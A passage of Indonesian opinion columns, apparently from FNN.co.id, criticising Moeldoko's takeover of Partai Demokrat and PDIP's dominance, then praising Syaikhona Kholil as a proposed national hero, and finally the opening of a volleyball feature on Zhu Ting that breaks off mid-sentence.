sah bukan milikmu, namun milik pihak lain”. Tentu saja, semua itu adalah ajaran Ibu yang sangat mulia kepada anaknya Moeldoko. Namun kini, di ujung usianya, dia malah membikin geram banyak orang. Bagaimana tidak. Kok tiba-tiba dia menghadiri, kalau tidak mau dibilang mengajak Konggres Luar Biasa Partai Demokrat (PD) pada Maret awal lalu. Hasilnya pun sudah bisa ditebak. Moeldoko yang lahir di Desa Pesing, Kecamatan Purwoasri, Kediri, Jawa Timur, 64 tahun silam itu akan keluar sebagai pemenangnya. Menjadi Ketua Umum Partai Demokrat versinya sendiri. Tempik sorak dan standing applaus pun menggemuruh di salah satu hotel di Sibolangit Deli Serdang, Sumatera Utara, tempat berlangsungnya sinetron antagonis itu. Suka cita pun campur aduk tertumpah di ruangan itu. Saling peluk, cium, rangkul dan macam-macam gaya terpuaskan sudah. Tetapi, sorot mata publik, waktu itu kok tidak ada peristiwa polisi mengobrak-abrik acara tersebut. Dengan pasal melanggar Protokol Kesehatan (Prokes) tentunya. Tidak seperti pada saat massa FPI menyambut kedatangan Habieb Rizieq. Atau Habieb Rizieq saat mantu di Petamburan dulu. Langsung dibubarkan polisi. Satu persatu yang terlibat ditangkapi. Malah dijadikan sebagai tersangka dan ditahan sampai sekarang. Oh ya, apa mungkin karena polisinya juga bagian dari peserta KLB? Atau sekurang kurangnya polisi ikut mendukung pelaksanaan KLB? Atau mungkin ada pengertian begini, “virus Corona hanya mau menular kepada yang selain Moeldoko dan kerabatnya? Mungkin begitu ya kira-kira? Seorang kawan jurnalis malah berpendapat ekstrim. Covid-19 itu tidak akan menular kepada, sorry sebelumnya, “bajingan tengik”. Makanya, jangankan sekedar bergerombol, tumpang tindih bergumul selapangan pun akan dibiarkan. Karena tidak bakal tertular Covid-19. Soal KLB. Apa yang dilakukan Moeldoko dan segelintir orang pecatan Partai Demokrat, Jhoni Allen, Nazaruddin, Marzuki Alie, itu bukan masuk kategori berani. Tapi ngawur. Sebab, berani itu perpaduan antara nyali dan nalar. Sementara ngawur itu gelap mata. Baik dalam bermain catur, sepak bola, dan tinju. Apalagi perang selalu ada istilah mundur selangkah dulu. Baru kembali menyerang. Sedangkan ngawur itu tidak menggunakan itung-itungan. Tidak pakai tak-tik. Yang dia mengerti, “pokoknya hajar”. Misalnya, seseorang yang berhasil melompat sungai selebar 95 senti meter, kemudian mencoba melompati sungai selebar satu meter. Dengan gerakan lebih full power, dia berhasil. Itu berani. Karena berselisih jarak jangkau cuma lima senti meter lebih jauh. Masuk akal itu barang. Tapi bila seseorang cuma berkemampuan melompat sungai selebar hanya satu meter, namun tiba tiba melompati sungai selebar dua meter. Itu yang ngawur. Selisih jaraknya kelewat jauh. Akibatnya kecebur. Nah, Moeldoko nanti kecebur apa tidak? Kita tunggu saja. Korelasinya begini. Iblis pun paham bahwa Moeldoko itu sudah menjadi anggota dan pimpinan Partai Hanura, terutama ketika Hanura dimpimpin oleh Oesman Sapta Odang (OSO). Tidak pernah gabung dengan Partai Demokrat. Jangankan punya kartu anggota, koas Partai Demokrat aja kagak punya. Kok ujug-ujug ikut menggelar KLB PD? Dan akhirnya menjadi ketua umumnya lagi. Yang dari Sabang menuju Merauke tahu, Moeldoko adalah militer tulen. Terakhir pensiun berpangkat Jenderal bintang empat. Naik pangkat dari kolonel ke brigjen, mayjen, letjen dan jendral dengan ujung jabatan Panglima TNI, itu semuanya Soesilo Bambang Yudhoyono (SBY) yang ngasih waktu menjabat presiden sepuluh tahun. Sekarang SBY Ketua Majelis Tinggi Kehormatan Parta Demokrat. Sewaktu masih menjadi anak buah SBY maupun Pak Harto, Moeldoko tidak sekali pun menunjukkan perilaku yang aneh-aneh. Apalagi berlaku insubordinasi. Melawan pimpinan. Tidak pernah. Terlebih ketika masih dalam asuhan kedua orang tuanya. Moeldoko lebih penurut lagi. Bahkan, konon, Moeldoko suka mencari pasir di sungai, dijual untuk membantu perekonomian orang tuanya. Sepak terjang Moeldoko mulai menyimpang dari ajaran orang tuanya maupun bimbingan SBY dan Pak Harto, semenjak dia berada dalam asuhan Jokowi, Joko Widodo, Presiden RI. Sejak “diopeni Jokowi”, didapuk sebagai Kepala Staf Kepresidenan (KSP), Moeldoko mulai nampak galak dan berlagak. Air mukanya dingin. Tidak murah senyum. Terkesan culas dan semau gue. Dia mengancam ini dan itu terhadap setiap oposan yang turun ke jalan demonstrasi, dan menentang kebijakan Jokowi yang tidak beleid. Malahan, dia juga sempat mengancam mantan Panglima TNI, Jenderal (Purn) TNI Gatot Nurmantyo, saat deklarasi ormas KAMI setahun lalu, dimana Gatot Nurmantyo selaku Presidiumnya. "Jangan coba coba mengganggu stabilitas keamanan dan ketertiban. Saya tidak pandang bulu," ucap Moeldoko waktu itu. Nah, timbul analisa tentang perubahan perilaku Moeldoko. Mengapa sejak dibawah asuhan Jokowi, moral Moeldoko berubah menjadi nggak karu-karuan? Sak senenge dewe. Tidak mengindahkan tatanan main. Jauh sekali dengan saat masih dalam rengkuhan ibu bapaknya. Maupun ketika berada dalam lingkup kepemimpinan SBY atau Pak Harto. Ini salah yang diasuh, atau salah yang mengasuh? Jika merunut peri bahasa, “guru kencing berdiri, murid kencing sambil berlarian kesana kemari”. Jika demikian, apakah Moeldoko tertular atau meniru pikiran, sikap dan perilaku bapak buahnya, Jokowi. Entahlah. Yang jelas. Moeldoko sebagai anak buah Jokowi saat ini telah membegal atau membajak Parpol “milik orang lain, karena bukan miliknya”. Yang dibajak adalah Partai Demokrat yang sah dalam lembaran negara, tercantum nama Agus Harimukti Yudhoyono (AHY) sebagai Ketua Umumnya. Dan SBY sebagai Ketua Majelis Tinggi Kehormatan Partainya. Ketidak punya maluan kubu Moeldoko dipamerkannya dengan berucap, "SBY dan AHY dalam posisi demisioner. Jika ingin gabung dengan kami, silakan". Kalau ada yang bilang sinting, salah nggak ya? Mana mungkin tuan rumah malah diatur oleh tamunya. Sudah gitu, tamu yang nggak diundang lagi. Keterkaitan itu, sangat mungkin Partai Demokrat dan AHY akhirnya menjadi simbol perlawanan. Seperti PDI dan Megawati, waktu itu. Jika itu terjadi, sikap sosial semua oposan, tak terkecuali akan mengkristal. Bersama-sama melawan Moeldoko dan mengarah ke Jokowi. Kini alam pikiran Moeldoko boleh jadi tidak tenang. Moledoko pasti sadar, kalau harta kekayaan berupa Ketum PD adalah hasil curian. Hati kecilnya tentu bilang begitu. Seperti perampok toko emas yang gundah mencari lokasi persembunyian. Pasti juga bingung, dimana akan menjual barang curiannya. Penulis adalah Wartawan FNN.co.id.

PDIP Akan Menjadi Partai Tunggal

Tanda-tanda bahwa pemerintahan Jokowi sedang mendekati sistem pemerintahan partai tunggal itu kini semakin nyata. By Hersubeno Arief MEDIA negeri jiran The Australian edisi Senin (8/3) menurunkan sebuah artikel menarik. Judulnya : Jakarta Closer to Rule of One Party. Kekhawatiran Indonesia menjadi negara partai tunggal seperti di Cina dan Korea Utara ini, sesungguhnya sudah sejak lama diingatkan oleh Jenderal Gatot Nurmantyo. Saat masih menjadi Panglima TNI, Gatot membungkus pesannya secara tersamar, melalui bahaya proxy war. Tanda-tanda bahwa pemerintahan Jokowi sedang mendekati sistem pemerintahan partai tunggal itu kini semakin nyata. Sebagaimana dilansir The Australian, aksi KSP Moeldoko mengambil-alih secara paksa Partai Demokrat merupakan langkah nyata mewujudkan hal itu. Saat ini partai-partai pendukung pemerintah disebut oleh The Australian telah menguasai 74 persen kursi di parlemen. Bila sukses mengakuisisi Partai Demokrat pemerintah akan menguasai 83 persen kursi di parlemen. Hanya menyisakan PKS sebagai satu-satunya oposisi di parlemen. Kalkulasi ini menarik, karena tampaknya The Australian telah memasukkan PAN ke dalam partai pendukung pemerintah. Bila dihitung dari total 575 kursi di parlemen, kalkulasi ini kurang akurat. Berdasarkan data KPU, pada Pemilu 2019 PKS memperoleh 50 kursi atau 8, 69 persen. Demokrat 54 kursi atau 9, 39 persen. Bila hanya PKS yang menjadi oposisi, maka total kubu pemerintah menguasai 91, 31 persen kursi di parlemen. Praktis kubu partai pemerintah sudah menguasai sepenuhnya kursi di parlemen. PKS tinggal menjadi partai oposisi pemanis saja. (Parliamentary dan Presidential Threshold) Pertanyaannya sekarang, bagaimana tahapan menuju partai tunggal bisa diwujudkan? Saat ini kendati sudah menguasai sepenuhnya kursi di parlemen, namun belum bisa disebut sebagai partai tunggal. Baru konsorsium partai dengan penguasa tunggal. Namun tahapan menuju partai tunggal itu sudah terbayang. Coba perhatikan beberapa tahapan berikut ini. Pertama, penetapan presidential threshold 20 persen. Dengan aturan semacam itu sudah bisa dipastikan bahwa capres yang akan tampil pada Pemilu 2024 adalah calon tunggal. Kalau toh ada dua calon, maka pasangan calon kedua hanyalah boneka. Model Pilkada Solo 2020 bisa digunakan. Ada calon walikota yang sudah dapat dipastikan menang, yakni Ghibran putra Presiden Jokowi. Lawannya adalah pasangan Ketua RW dan tukang jahit. Kedua, Pemilu serentak tahun 2024. Dengan hanya ada satu capres, maka dapat dipastikan capres yang diusung berasal dari PDIP sebagai pemilik kursi terbanyak (128). Pasangannya bisa dipilih dari salah satu partai pengusung pemerintah. Silakan diperebutkan. Dengan sistem pemilu serentak, maka yang akan memperoleh limpahan elektoral atau biasa dikenal sebagai coattail efect adalah pengusung capres. Dalam hal ini PDIP. Hal ini terbukti pada Pilpres 2019. Hanya ada dua Pasang capres-cawapres. PDIP dan Gerindra yang mengusung capres. Kedua partai ini mendapat limpahan suara terbanyak dan menjadi partai pemenang pertama dan kedua. Ketiga, menaikkan ambang batas parliamentary threshold. Saat ini di DPR berkembang wacana menaikkan ambang batas lolos parlemen, atau dikenal dengan istilah parliamentary threshold (PT). PDIP mengusulkan agar PT dinaikkan dari semula 4 menjadi 5 persen. Sementara Nasdem dan Golkar bahkan call tinggi, menjadi 7 persen. Dengan mempertimbangkan coattail effect pada pemilu serentak 2024, maka PDIP bisa menang besar. Apalagi berdasarkan hasil survei terbaru Litbang Kompas, partai-partai yang berada dalam lima besar bakal berguguran. Elektabilitas Nasdem saat ini tinggal 1.7 Persen. Golkar 3.4 persen. Demokrat 4.6 persen, PKS 5.4 persen, dan PKB tinggal 5.5 persen. Gerindra 9.6 persen. PDIP masih bertengger di puncak dengan elektabilitas 19.7 persen. Bila PT dinaikkan menjadi 7 persen, maka yang tersisa tinggal PDIP dan Gerindra. Itupun kalau Gerindra masih bisa mempertahankan suaranya. Dengan bergabung dalam kubu partai pemerintah, sangat diragukan Gerindra bisa mempertahankan perolehan suaranya seperti pada Pemilu 2019. Semua skenario itu dapat terwujud bila Jokowi dan PDIP bisa mengendalikan sepenuhnya partai-partai pendukung pemerintah. Partai-partai pemerintah mendukung apapun keinginan Presiden Jokowi dan PDIP. Untuk tahap awal Nasdem dan Golkar akhirnya mengalah. Mendukung pelaksanaan pemilu serentak tahun 2024. Padahal sebelumnya mereka menginginkan ada revisi RUU Pilkada. Tahapan berikutnya tinggal menaikkan ambang batas lolos parlemen setinggi mungkin. Skenario partai tunggal bakal terwujud. Apakah kali ini Golkar, Nasdem, Gerindra dan partai-partai lain juga akan kembali mengalah? Yang pasti, sejauh ini dengan pola pecah belah, sandera politik, dan iming-iming kekuasaan, pemerintah berhasil menundukkan parpol-parpol menjadi pendukung yang loyal. End Penulis adalah Wartawan Senior FNN.co.id.

Adakah yang Mau Mengkudeta Ketua Umum PDI-P

Menurut catatan Setara Institute, kader PDIP menjadi penyumbang terbanyak dalam operasi tangkap tangan (OTT) KPK sepanjang tahun 2018. Delapan kepala daerah dari partai berlambang banteng moncong putih itu terjerat kasus korupsi. Kedelapan orang tersebut antara lain mantan Bupati Ngada Marianus Sae, mantan Bupati Bandung Barat Abubakar, mantan Bupati Purbalingga Tasdi, dan mantan Wali Kota Blitar Samanhudi Anwar. by Tjahja Gunawan Jakarta, FNN - Akhir-akhir ini banyak politisi dan pengamat politik ramai membicarakan kudeta yang dilakukan Jenderal (Purn) TNI Moeldoko terhadap Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY). Di balik peristiwa tragis tersebut, adakah orang yang terinspirasi, berpikir atau merencanakan untuk mengkudeta Ketua Umum PDI-P Megawati Soekarnoputri ? Para kader muda Partai Banteng seperti Maruarar Sirait (Ara), Budiman Sujatmiko, Arif Budimanta, apakah Anda semua mempunyai rencana untuk menyelenggarakan Kongres Luar Biasa (KLB) seperti yang telah dilakukan Kepala Staf Kepresidenan (KSP) Moeldoko bersama kader Partai Demokrat yang kecewa dengan kepemimpinan AHY ? Mosok nyali Anda kalah sama Moeldoko yang berumur lebih tua? Pada tàhun 2014, Maruarar Sirait gagal menjadi Menkominfo karena tidak disetujui oleh Megawati. Menurut informasi di kalangan politisi PDIP waktu itu, Ara dituduh sebagai salah seorang kader muda di Partai Banteng yang hendak menggulirkan KLB PDIP. Oleh karena itu, meskipun Ara sudah berada di Istana Kepresidenan untuk dilantik Jokowi sebagai Menkominfo, terpaksa dibatalkan hanya gara-gara tidak disetujui pimpinan partainya. Padahal waktu itu, Ara sudah lengkap mengenakan kemeja putih. Sebagai gantinya, diangkatlah Rudiantara, seorang profesional di dunia komunikasi yang juga pernah menjadi direksi di perusahaan BUMN yakni di PT Semen Gresik (sekarang PT Semen Indonesia) dan PT PLN. Tentu saja Ara merasa kecewa yang amat sangat,. Waktu itu juga Ara segera meluncur dari Istana Presiden Kepresidenan menuju kediaman Ketua Umum PDI-P di Jl Teuku Umar Jakarta. Dia mau menemui Megawati Soekarnoputri. Sayangnya, Ketua Umum PDI-P tersebut tidak bisa ditemui Maruara Sirait. Meskipun Ara adalah juga putra tokoh senior PDI-P, Sabam Sirait, namun kalau Megawati sudah marah dengan kadernya, hal itu nampaknya tidak bisa diampuni. Petugas Partai Demikian juga Jokowi. Walaupun dia sebagai presiden, tetapi di mata Megawati Soekarnoputri dia tetap sebagai 'Petugas Partai'. Oleh karena itu, kewenangan yang dimiliki Jokowi sebagai presiden, sesungguhnya bersifat semu. Dalam kenyataannya, Jokowi tidak berdaya manakala berhadapan dengan Megawati. Sejak Jokowi menjadi Presiden tàhun 2014, dalam berbagai kesempatan Megawati selalu menyatakan bahwa Jokowi adalah Petugas Partai. Atribut yang disandang inilah yang membatasi ruang gerak politik Jokowi sebagai presiden. Kembali kepada peristiwa politik dramatis KLB Partai Demokrat yang dilakukan Kepala Staf Kepresidenan (KSP) Moeldoko. Banyak spekulasi yang menyebutkan bahwa Moeldoko hanya berperan sebagai pelaksana kudeta terhadap Partai Demokrat. Sementara master mindnya adalah Jokowi. Apalagi, sampai sekarang Jokowi diam membisu atas perilaku bawahannya Moeldoko yang telah melakukan kudeta atas kepemimpinan AHY sebagai Ketua Umum Partai Demokrat. Diamnya Presiden ini seolah mengonfirmasi dugaan bahwa Jokowi lah yang berada dibalik KLB Partai Demokrat. KLB ini sesungguhnya tidak semata-mata untuk melengserkan AHY sebagai Ketua Umum Partai Demokrat. Tetapi juga bertujuan untuk mereduksi pengaruh Susilo Bambang Yudhoyono di Partai Demokrat. Spekulasi politik lain menyebutkan bahwa skenario KLB PD ini merupakan bagian dari strategi PDIP dalam rangka semakin mengokohkan sebagai partai berkuasa menjelang Pemilu 2024. Oleh karena itu, kemudian dilakukan langkah politik untuk mengkerdilkan atau membonsai partai oposisi. Sejumlah pengamat menyebutkan, Partai Keadilan Sejahtera (PKS) diperkirakan juga tidak akan luput dari operasi politik kotor yang akan dilakukan partai penguasa. Sebenarnya pada Pemilu 2019 lalu, jumlah perolehan suara dan perolehan kursi di DPR untuk Partai Demokrat menurun dari posisi keempat pada 2014, menjadi posisi ketujuh dari 9 partai di DPR, dengan perolehan suara sebanyak 7,77 % suara nasional (10.876.507). Namun, hingga kini pengaruh SBY di partai berlambang Mercy itu masih sangat kuat. Oleh karena itu, PDI-P berkepentingan untuk menghilangkan pengaruh mantan Presiden RI keenam itu. Pelaksanaan KLB Partai Demokrat yang digelar Jumat 5 Maret 2021 lalu, adalah untuk meruntuhkan kekuasaan SBY di Partai Demokrat. Mereka yang telah melakukan kudeta terhadap AHY, bisa saja menyatakan bahwa langkah politik yang mereka lakukan itu untuk memutus dinasti politik. Padahal, sesungguhnya mereka ingin memutus pengaruh politik SBY di Partai Demokrat. Kalau benar politisi muda Indonesia saat ini risau dengan dinasti politik, maka PDI-P juga merupakan parpol yang masih memberlakukan dinasti politik. Sejak akhir Orde Baru sampai sekarang, PDIP masih dipimpin oleh Megawati Soekarnoputri. Dia sudah lebih dari 20 tàhun menjadi Ketua Umum PDI-P. Apakah para politisi muda di PDIP tidak bosan dipimpin Megawati ? Saya yakin masih banyak para kader muda dan politisi energik di PDIP yang masih memiliki idealisme dan integritas serta loyalitas kepada partai. Saya yakin para politisi muda di PDIP sudah paham implikasi dari adanya dinasti di tubuh parpol. Dinasti politik di tubuh Parpol bisa menghambat regenerasi dan kaderisasi partai. Apalagi sekarang usia Megawati sudah tidak muda lagi seperti dulu. Dia sudah berumur 74 tàhun, lahir 23 Januari 1947. Sementara SBY berumur 71 tàhun, lahir 9 September 1949. SBY sebenarnya sudah mengalihkan tongkat kepemimpinan partai kepada kader muda yakni AHY kendati Ketua Umum PD ini adalah putranya sendiri. Sementara PDI-P, sampai sekarang masih dipimpin Ketua Umum yang sudah lanjut usia. Sangat boleh jadi Megawati sedang galau atau dilanda kebingungan, apakah estafet politik akan diserahkan kepada Puan Maharani atau Prananda. Keduanya adalah putra putri Megawati Soekarnoputri dari suami yang berbeda. Muhammad Prananda Prabowo, biasa dipanggil Prananda. Saat ini Prananda Prabowo dipercaya sebagai Ketua DPP PDI-P Bidang Ekonomi Kreatif periode 2019-2024. Sebelumnya, ia menjabat sebagai Kepala Ruang Pengendali dan Analisis Situasi PDIP. Sosok yang satu ini tidak pernah muncul ke permukaan apalagi tampil di media massa. Sebaliknya, Puan Maharani, lebih banyak dikenal publik karena begitu Jokowi berkuasa tàhun 2014, dia langsung diangkat sebagai menteri meskipun banyak kalangan yang meragukan kemampuan dan kapasitasnya. Nah pada periode kedua Jokowi sebagai Presiden ini, Puan Maharani sengaja ditempatkan sebagai Ketua DPR-RI. Meski Prananda tidak pernah muncul ke permukaan, namun di internal PDI-P sendiri dia memiliki faksi sendiri yang berbeda dengan kelompok Puan Maharani. Menurut seorang politisi, kepentingan politik Prananda dan Puan Maharani berbeda. Misalnya, dalam kasus dugaan korupsi Bansos yang melibatkan Wakil Bendahara PDIP Juliari Batubara, lebih banyak terkait dengan kepentingan Puan Maharani dan kroninya. Sementara itu, Prananda dan Sekjen PDIP Hasto Kristiyanto, lebih banyak mengurus proses rekrutmen dan seleksi kader partai yang akan ditempatkan di lembaga legislatif. Termasuk proses seleksi untuk para calon kepala daerah dari PDIP. Meski demikian, proses rekrutmen dan seleksi calon kepala daerah PDIP, juga tidak sepi dari praktek suap dan korupsi. Menurut catatan Setara Institute, kader PDIP menjadi penyumbang terbanyak dalam operasi tangkap tangan (OTT) KPK sepanjang tahun 2018. Delapan kepala daerah dari partai berlambang banteng moncong putih itu terjerat kasus korupsi. Kedelapan orang tersebut antara lain mantan Bupati Ngada Marianus Sae, mantan Bupati Bandung Barat Abubakar, mantan Bupati Purbalingga Tasdi, dan mantan Wali Kota Blitar Samanhudi Anwar. Kemudian yang lebih tragis adalah OTT KPK pada pekan terakhir November 2020 hingga pekan pertama Desember 2020. Hanya Dalam waktu sepuluh hari, KPK sukses menjaring tiga kader PDIP. Ketiga kader PDIP yang terjaring KPK itu adalah Wali Kota Cimahi yang juga Ketua DPC PDIP Kota Cimahi Ajay Priatna (27 November 2020), Bupati Banggai Laut yang juga Ketua DPC PDIP Banggai Laut Wenny Bukamo (3 Desember), dan Menteri Sosial yang juga Wakil Bendahara Umum PDIP Juliari Batubara (6 Desember). Sekretaris Jenderal PDIP Hasto Kristiyanto mengatakan, PDIP menghormati seluruh proses hukum yang sedang berlangsung. "Hukum adalah jalan peradaban untuk menegakkan keadilan dan kebenaran. Siapapun wajib bekerja sama dengan upaya yang dilakukan oleh KPK tersebut," ujar Hasto sebagaimana dikutip dari laman resmi PDIP, Minggu (6/12/2020). Nah, dengan banyaknya kasus korupsi yang dilakukan kader PDIP, apakah ada diantara kader muda Partai Banteng ini yang berkeinginan menggelar KLB seperti yang dilakukan di tubuh Partai Demokrat ? Kita tunggu saja keberanian dan nyali dari para politisi muda kader PDIP untuk bisa menggulingkan Megawati Soekarnoputri dari kursi Ketua Umum PDI-P. *** Penulis aalah Wartawan Senior FNN.co.id.

Syaikhona Muhammad Kholil: Mengapa Harus Pahlawan? (4)

By Mochamad Toha Surabaya, FNN - Syaikhona Muhammad Kholil merupakan salah satu peletak nilai-nilai dasar Islam yang berpadu dengan kearifan dan tradisi lokal Nusantara, sehingga melahirkan nilai-nilai yang universal, terbuka, toleran, dan moderat. Karakteristik utama Islam Nusantara adalah menyebarkan dan membumikan Islam dengan santun, damai, penuh dengan nilai-nilai kemuliaan, dan menyebarkan rahmatan lil alamien. Islam di Nusantara diimplementasikan dan dibumikan di Indonesia dengan merangkul budaya, menyelaraskan budaya, menghormati budaya, dan tidak memberangus budaya, sehingga berpadu dan membentuk karakter atas nilai-nilai ke-Indonesia-an. Sebagai pemimpim dari Ulama dengan paham Ahlussunnah wal Jamaah, Syaikhona Kholil menerapkan metode dakwah yang sesuai dengan prinsip Ahlussunnah wal Jamaah dengan metode asimilasi/pengubahan dari tradisi mungkar dengan tradisi yang sesuai dengan syariat Islam tanpa menghilangkan budaya lokal yang mengakar di kawasan Nusantara. Praktik Islam itu tercermin dari perilaku sosial yang moderat, menjaga keseimbangan, toleransi, dan inklusif. Empat perilaku iini menjadi pilar masyarakat untuk mencari solusi dalam masalah sosial muncul oleh liberalisme, kapitalisme, sosialisme, dan radikalisme agama. Karakter Islam di Nusantara menunjukkan adanya kearifan lokal yang ada di Nusantara yang tidak melanggar hukum Islam, tetapi justru mensinergikan doktrin Islam dengan lokal tradisi yang banyak menyebar di wilayah Indonesia. Kehadiran Islam bukan untuk merusak atau melawan tradisi yang ada. Di sisi lain, Islam datang untuk memperkaya tradisi dan budaya Islam yang ada secara bertahap. Pertemuan Islam dengan tradisi Nusantara menciptakan sistem sosial, sistem pendidikan, dan sistem kesultanan. Inilah warisan terbesar Ulama bagi bangsa Indonesia di samping kemerdekaan. Syaikhona Kholil sebagai salah satu peletak nilai-nilai dasar tersebut. Nilai-nilai itu relevan dengan kondisi bangsa Indonesia yang majemuk, apabila tidak ditopang Islam Ahlussunnah wal Jamaah dengan nilai-nilai Islam yang universal, moderat, terbuka, dan toleran. Syaikhona Kholil juga menggunakan instrumen pendidikan Islam itu dalam membumikan Islam di Nusantara. Kesadaran politik yang banyak diilhami oleh kesamaan identitas dan jejaring Islam kemudian menjadi embrio lahirnya gerakan kultural kontra kolonialisme. Salah satu gerakan kultural adalah membumikan Islam di Nusantara sebagai penguatan identitas kolektif. Peran Syaikhona Kholil di kalangan pesantren memang tidak diragukan lagi. Beliau bisa membumikan ajaran tasawuf sebagai suatu strategi dan pendekatan dalam menyebarkan Islam di Nusantara. Syaikhona Kholil merupakan sufisme Nusantara yang terus-menerus menyebarkan intelektual kultur pesantren yang berlandaskan Ahlussunnah wal Jamaah dengan karakter Nusantara. Karena memang beliau penganut setia Ahlussunnah wal Jamaah yang berpegang teguh kepada al-Qur'an, as-Sunnah, Ijma' dan Qiyas sebagai pedoman dalam melaksanakan ritual keagamaan. Peran dan kepedulian Syaikhona Muhammad Kholil Bangkalan sebagai hamba sufi dalam menyebarkan praktik tasawwud di kehidupan masyarakat dan pesantren merupakan bukti nyata akan pentingnya pengamalan ajaran Islam yang sesuai dengan dasar-dasar Islam yang murni. Atas dasar ini proses penyebaran Islam yang bercorak Nusantara yang diperankan Syaikhona Kholil lebih sering menjalankan praktik keagamaan yang bersifat fi'li (perbuatan), daripada qauly (perkataannya). Mahaguru Ulama Syaikhona Muhammad Kholil merupakan sosok yang tidak hanya sebagai guru, tetapi juga sekaligus pencetak kader para guru. Pernyatan ini terbukti dari munculnya ulama-ulama di Nusantara yang mampu menjadi pendiri pesantren besar di Jawa dan Madura. Sebagian besar pendiri pesantren di banyak daerah di Indonesia mempunyai sanad (silsilah pertalian) keilmuan dengan Syaikhona Kholil. Hal itu menjadi bukti nyata akan kharisma Beliau dalam menyebarkan dakwah Islam. Beberapa murid yang berhasil menjadi ulama besar karena berguru pada Syaikhona Kholil antara lain: Hadratus Syaikh KH Hasyim Asy'ari (Ponpes Tebuireng Jombang), KH Wahab Hasbullah (pendidi pondok pesantren Tambakberas Jombang); KH Bisri Syansuri (Ponpes Denanyar Jombang), KH As'ad Syamsul Arifin (Ponpes Sukorejo Situbondo), Kiai Hasan (Genggong Probolinggo), Kiai Munawir (Krapyak Jogjakarta), Cholil Harun (Rembang), Kiai Zaini Mun'im (Paiton Probolinggo); Kiai Ahmad Shiddiq (Jember), Kiai Usymuni (Sumenep), Kiai Abi Sujak (Sumenep), Kiai Toha (Bata-Bata Pamekasan), Kiai Abdul Karim (Lirboyo Kediri), Kiai Romli Tamim (Rejoso Jombang), Kiai Abdul Majid (Bata-Bata Pamekasan), dan masih banyak lagi. Dengan kata lain, sebagian besar ulama yang masih hidup sekarang ini masih mempunyai sanad sampai ke Syaikhona Kholil. Syaikhona Kholil adalah sosok guru yang memikirkan keberlangsungan eksistensi ilmu untuk masa yang akan datang. Oleh sebab itu, Syaikhona Kholil mengkader sosok penggantinya. Sebagaimana diceritakan, Syaikhona Kholil menghadiri proses pembelajaran yang dipimpin oleh Kiai Hasyim Asy'ari yang notabene adalah murid beliau sendiri. Hal itu menandakan bahwa Syaikhona Kholil mempunyai kepedulian yang besar terhadap keberlanjutan ilmu dan pengetahuan dalam Islam. Dalam buku biografi Syaikhona Kholil, Syaikh Yasin mengatakan, ada sekitar setengah juta jiwa orang yang pernah nyantri pada Syaikhona Kholil, dan sekitar tiga ribu dari mereka berhasil menjadi tokoh-tokoh penting di daerahnya masing-masing. Dengan demikian, maka dapat dikatakan bahwa Syaikhona adalah pencetak para tokoh dan kader guru dan pemimpin di seantero Nusantara. Peran Syaikhona Kholil, terutama yang ada di kawasan pesantren memang sangat masyhur dan tidak diragukan lagi hingga saat ini. Beberapa peninggalan dan warisan warisan monumental yang ditorehkan oleh Syaikhona Kholil bagi Nusantara ini khususnya di dunia pesantren tidak akan pupus ditelan masa. Karena Syaikhona Kholil merupakan ulama asal Madura yang menjadi panutan, maha guru dan menjadi gen lahirnya kader-kader ulama Nusantara terbaik yang kemudian kader-kader itu menjadi pimpinan-pimpinan pondok pesantren se-Nusantara. Menurut Ketua Umum PBNU Kiai Said Aqil Siraj, sosok Syaikhona Kholil Bangkalan bisa disebut mahaguru dan ikon perkembangan pesantren di Tanah Jawa dan Madura. Statement ini bisa dibuktikan dengan menjamurnya para santri dan murid-murid beliau yang menjadi pengasuh pesantren dan tokoh penting termasuk juga berdirinya organisasi terbesar Islam di Nusantara (NU), yang mayoritas dirintis oleh santri-santri beliau. Peran besar Syaikhona Kholil dalam merintis dan melestarikan pesantren adalah bukti konkrit akan keterlibatan Beliau dalam menyebarkan ajaran Islam Ahlussunnah wal Jamaah. Kontribusi yang dilakukan Syaikhona Kholil melalui jalur pendidikan pesantren, utamanya keberhasilannya dalam mencetak kader ulama besar yang berkualitas, menunjukkan bahwa Syaikhona Kholil adalah ulama yang istiqomah dalam menyuburkan tasawuf Ahlusswunnah wal Jamaah yang menjadi pijakan dunia pesantren sehingga tetap berada di jalur bingkai syariat, tarikat, hakikat, dan makrifat. Tim TP2GD Kabupaten Bangkalan dalam sidang tanggal 25 Januari 2021 sepakat usulan Syaikhona Muhammad Kholil sebagai calon Pahlawan Nasional dilanjutkan ke Gubernur Jawa Timur untuk diproses lebih lanjut ke Kementerian Sosial RI. Gubernur Khofifah Indar Parawansa sendiri berjanji membantu proses pengusulan Syaikhona Kholil untuk mendapatkan gelar Pahlawan Nasional. (Selesai) *** Penulis wartawan senior FNN.co.id

Bola Voli antara Zhu Ting dan Aprilia Manganang (Bagian 1)

Beruntung Andika menyebut Aprilia masih boleh terus berkarier di TNI, dan mengaku lolosnya Aprilia lewat jalur khusus/jalur prestasi kala itu karena tidak melewati proses pemeriksaan medis yang lengkap. Ia merasa ikut bertanggung jawab atas kejadian ini. Aprilia akan mensahkan statusnya sebagai laki-laki lewat pengadilan dan akan mengganti namanya dengan nama baru. By Rahmi Aries Nova Jakarta, FNN - ZHU Ting adalah pebola voli terbaik dan termahal di dunia saat ini. Kapten Timnas China tersebut kerap diundang dalam acara-acara resmi kenegaraan dan diajak berdialog langsung oleh Presiden Xi Jinping. Suatu yang tidak pernah ia bayangkan, mengingat awalnya ia hanya gadis kecil dari desa terpencil Dhancheng, Zhoukou, di Provinsi Henan. "Susah menjelaskan di mana desa saya karena sepertinya tidak ada di peta," ungkap pemain kelahiran 29 November 1994 dalam wawancara dengan Kantor Berita Xinhua. Di usia 13, Zhu Ting yang tinggi badannya sudah 170 cm dikirim oleh guru olahraganya ke Henan Province Sports School, sekolah khusus olahraga di ibu kota provinsi itu. Awalnya, ia bingung harus memilih cabang apa. Sempat ingin bergabung dengan tim bola basket, tetapi ditolak. Menurut pelatih basket, badannya terlalu kurus tidak cocok dengan basket yang kerap ber body contact. Pilihan berikutnya cabang atletik. Akan tetapi, ia juga gagal saat tes lari. Akhirnya, pemandu bakat di sekolah tersebut mengarahkannya ke cabang bola voli. Betul saja, meski tak punya 'darah' olahraga, tidak ada latar belakang olahraga apa pun dari kedua orang tuanya, Zhu Ting langsung melesat dan menjadi pemain yang paling menonjol di Henan. Pada usia 19, ia pun dipanggil ke tim nasional besutan pelatih legendaris Lang Ping. "Saat itu cuma saya pemain yang berasal dari desa. Pemain lain kebanyakan berasal dari kota besar," jelas anak ke 3 dari lima bersaudara ini. Lang 